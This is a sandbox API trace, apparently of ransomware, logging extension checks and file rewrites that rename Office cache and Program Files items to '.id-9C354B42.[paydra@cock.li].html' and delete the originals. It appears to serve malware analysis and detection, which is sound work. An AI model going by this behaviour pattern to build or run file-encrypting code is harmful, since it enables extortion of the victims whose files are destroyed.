(lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.262] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.262] lstrlenW (lpString=".doc") returned 4 [0035.262] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.262] lstrlenW (lpString=".docx") returned 5 [0035.262] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.262] lstrlenW (lpString=".pdf") returned 4 [0035.262] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.262] lstrlenW (lpString=".xls") returned 4 [0035.262] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.262] lstrlenW (lpString=".xlsx") returned 5 [0035.262] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.263] lstrlenW (lpString=".ppt") returned 4 [0035.263] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.263] lstrlenW (lpString=".zip") returned 4 [0035.263] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.263] lstrlenW (lpString=".rar") returned 4 [0035.263] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.263] lstrlenW (lpString=".bz2") returned 4 [0035.263] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.263] lstrlenW (lpString=".7z") returned 3 [0035.263] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.263] lstrlenW (lpString=".dbf") returned 4 [0035.263] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.263] lstrlenW (lpString=".1cd") returned 4 [0035.263] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.263] lstrlenW (lpString=".jpg") returned 4 [0035.263] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.263] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.263] lstrlenW (lpString=".doc") returned 4 [0035.263] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.263] lstrlenW (lpString=".docx") returned 5 [0035.263] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0035.263] lstrlenW (lpString=".pdf") returned 4 [0035.263] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.263] lstrlenW (lpString=".xls") returned 4 [0035.263] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.263] lstrlenW (lpString=".xlsx") returned 5 [0035.263] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0035.263] lstrlenW (lpString=".ppt") returned 4 [0035.263] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.264] lstrlenW (lpString=".zip") returned 4 [0035.264] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.264] lstrlenW (lpString=".rar") returned 4 [0035.264] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.264] lstrlenW (lpString=".bz2") returned 4 [0035.264] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.264] lstrlenW (lpString=".7z") returned 3 [0035.264] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.264] lstrlenW (lpString=".dbf") returned 4 [0035.264] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.264] lstrlenW (lpString=".1cd") returned 4 [0035.264] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0035.264] lstrlenW (lpString=".jpg") returned 4 [0035.264] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.264] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0035.264] lstrlenW (lpString="Setup.xml") returned 9 [0035.264] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.265] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=16683) returned 1 [0035.265] CloseHandle (hObject=0x184) returned 1 [0035.265] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0035.265] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.265] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0035.265] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.265] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.265] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0035.265] GetLastError () returned 0x0 [0035.265] ReadFile (in: hFile=0x184, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x412b, lpOverlapped=0x0) returned 1 [0035.786] WriteFile (in: hFile=0x1a0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0035.787] ReadFile (in: hFile=0x184, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.787] WriteFile (in: hFile=0x1a0, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0035.788] SetEndOfFile (hFile=0x1a0) returned 1 [0035.788] CloseHandle (hObject=0x1a0) returned 1 [0035.788] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.788] SetEndOfFile (hFile=0x184) returned 1 [0035.789] CloseHandle (hObject=0x184) returned 1 [0035.789] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0035.789] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0035.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.790] lstrlenW (lpString=".doc") returned 4 [0035.790] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.790] lstrlenW (lpString=".docx") returned 5 [0035.790] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.790] lstrlenW (lpString=".pdf") returned 4 [0035.790] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.790] lstrlenW (lpString=".xls") returned 4 [0035.790] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.790] lstrlenW (lpString=".xlsx") returned 5 [0035.790] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.790] lstrlenW (lpString=".ppt") returned 4 [0035.790] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.790] lstrlenW (lpString=".zip") returned 4 [0035.790] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.790] lstrlenW (lpString=".rar") returned 4 [0035.790] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.790] lstrlenW (lpString=".bz2") returned 4 [0035.790] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.790] lstrlenW (lpString=".7z") returned 3 [0035.790] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.790] lstrlenW (lpString=".dbf") returned 4 [0035.790] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.790] lstrlenW (lpString=".1cd") returned 4 [0035.790] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.790] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.791] lstrlenW (lpString=".jpg") returned 4 [0035.791] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.791] lstrlenW (lpString=".doc") returned 4 [0035.791] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0035.791] lstrlenW (lpString=".docx") returned 5 [0035.791] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0035.791] lstrlenW (lpString=".pdf") returned 4 [0035.791] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0035.791] lstrlenW (lpString=".xls") returned 4 [0035.791] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0035.791] lstrlenW (lpString=".xlsx") returned 5 [0035.791] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0035.791] lstrlenW (lpString=".ppt") returned 4 [0035.791] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0035.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.791] lstrlenW (lpString=".zip") returned 4 [0035.791] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0035.791] lstrlenW (lpString=".rar") returned 4 [0035.791] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0035.791] lstrlenW (lpString=".bz2") returned 4 [0035.791] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0035.791] lstrlenW (lpString=".7z") returned 3 [0035.791] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0035.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.791] lstrlenW (lpString=".dbf") returned 4 [0035.791] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0035.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.791] lstrlenW (lpString=".1cd") returned 4 [0035.791] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0035.791] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0035.791] lstrlenW (lpString=".jpg") returned 4 [0035.792] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0035.792] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0035.792] lstrlenW (lpString="MS.GIF") returned 6 [0035.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0035.877] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1069) returned 1 [0035.877] CloseHandle (hObject=0x1a0) returned 1 [0035.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 0x20 [0035.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0035.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0035.883] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.883] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0035.883] GetLastError () returned 0x0 [0035.884] ReadFile (in: hFile=0x1a0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x42d, lpOverlapped=0x0) returned 1 [0035.899] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x430, lpOverlapped=0x0) returned 1 [0035.900] ReadFile (in: hFile=0x1a0, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0035.900] WriteFile (in: hFile=0x190, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0035.900] SetEndOfFile (hFile=0x190) returned 1 [0035.900] CloseHandle (hObject=0x190) returned 1 [0035.900] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0035.900] SetEndOfFile (hFile=0x1a0) returned 1 [0035.901] CloseHandle (hObject=0x1a0) returned 1 [0035.901] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0035.901] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.gif")) returned 1 [0035.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.902] lstrlenW (lpString=".doc") returned 4 [0035.902] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0035.902] lstrlenW (lpString=".docx") returned 5 [0035.902] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0035.902] lstrlenW (lpString=".pdf") returned 4 [0035.902] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0035.902] lstrlenW (lpString=".xls") returned 4 [0035.902] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0035.902] lstrlenW (lpString=".xlsx") returned 5 [0035.902] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0035.902] lstrlenW (lpString=".ppt") returned 4 [0035.902] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0035.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.902] lstrlenW (lpString=".zip") returned 4 [0035.902] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0035.902] lstrlenW (lpString=".rar") returned 4 [0035.902] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0035.902] lstrlenW (lpString=".bz2") returned 4 [0035.902] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0035.902] lstrlenW (lpString=".7z") returned 3 [0035.902] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0035.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.902] lstrlenW (lpString=".dbf") returned 4 [0035.902] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0035.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.902] lstrlenW (lpString=".1cd") returned 4 [0035.902] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0035.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.902] lstrlenW (lpString=".jpg") returned 4 [0035.902] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0035.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.903] lstrlenW (lpString=".doc") returned 4 [0035.903] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0035.903] lstrlenW (lpString=".docx") returned 5 [0035.903] lstrcmpiW (lpString1=".docx", lpString2="S.GIF") returned -1 [0035.903] lstrlenW (lpString=".pdf") returned 4 [0035.903] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0035.903] lstrlenW (lpString=".xls") returned 4 [0035.903] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0035.903] lstrlenW (lpString=".xlsx") returned 5 [0035.903] lstrcmpiW (lpString1=".xlsx", lpString2="S.GIF") returned -1 [0035.903] lstrlenW (lpString=".ppt") returned 4 [0035.903] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0035.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.903] lstrlenW (lpString=".zip") returned 4 [0035.903] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0035.903] lstrlenW (lpString=".rar") returned 4 [0035.903] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0035.903] lstrlenW (lpString=".bz2") returned 4 [0035.903] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0035.903] lstrlenW (lpString=".7z") returned 3 [0035.903] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0035.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.903] lstrlenW (lpString=".dbf") returned 4 [0035.903] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0035.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.903] lstrlenW (lpString=".1cd") returned 4 [0035.903] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0035.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.GIF") returned 61 [0035.903] lstrlenW (lpString=".jpg") returned 4 [0035.903] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0036.010] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0036.011] lstrlenW (lpString="Content.xml") returned 11 [0036.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0036.081] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=27045) returned 1 [0036.084] CloseHandle (hObject=0x190) returned 1 [0036.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0036.084] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.084] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.084] lstrlenW (lpString=".doc") returned 4 [0036.084] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.084] lstrlenW (lpString=".docx") returned 5 [0036.084] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0036.084] lstrlenW (lpString=".pdf") returned 4 [0036.084] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.084] lstrlenW (lpString=".xls") returned 4 [0036.084] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.084] lstrlenW (lpString=".xlsx") returned 5 [0036.085] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0036.085] lstrlenW (lpString=".ppt") returned 4 [0036.085] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.085] lstrlenW (lpString=".zip") returned 4 [0036.085] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.085] lstrlenW (lpString=".rar") returned 4 [0036.085] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.085] lstrlenW (lpString=".bz2") returned 4 [0036.085] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.085] lstrlenW (lpString=".7z") returned 3 [0036.085] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.085] lstrlenW (lpString=".dbf") returned 4 [0036.085] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.085] lstrlenW (lpString=".1cd") returned 4 [0036.085] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.085] lstrlenW (lpString=".jpg") returned 4 [0036.085] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.085] lstrlenW (lpString=".doc") returned 4 [0036.085] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.085] lstrlenW (lpString=".docx") returned 5 [0036.085] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0036.085] lstrlenW (lpString=".pdf") returned 4 [0036.085] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.085] lstrlenW (lpString=".xls") returned 4 [0036.085] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.085] lstrlenW (lpString=".xlsx") returned 5 [0036.085] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0036.085] lstrlenW (lpString=".ppt") returned 4 [0036.086] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.086] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0036.086] lstrlenW (lpString=".zip") returned 4 [0036.086] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.086] lstrlenW (lpString=".rar") returned 4 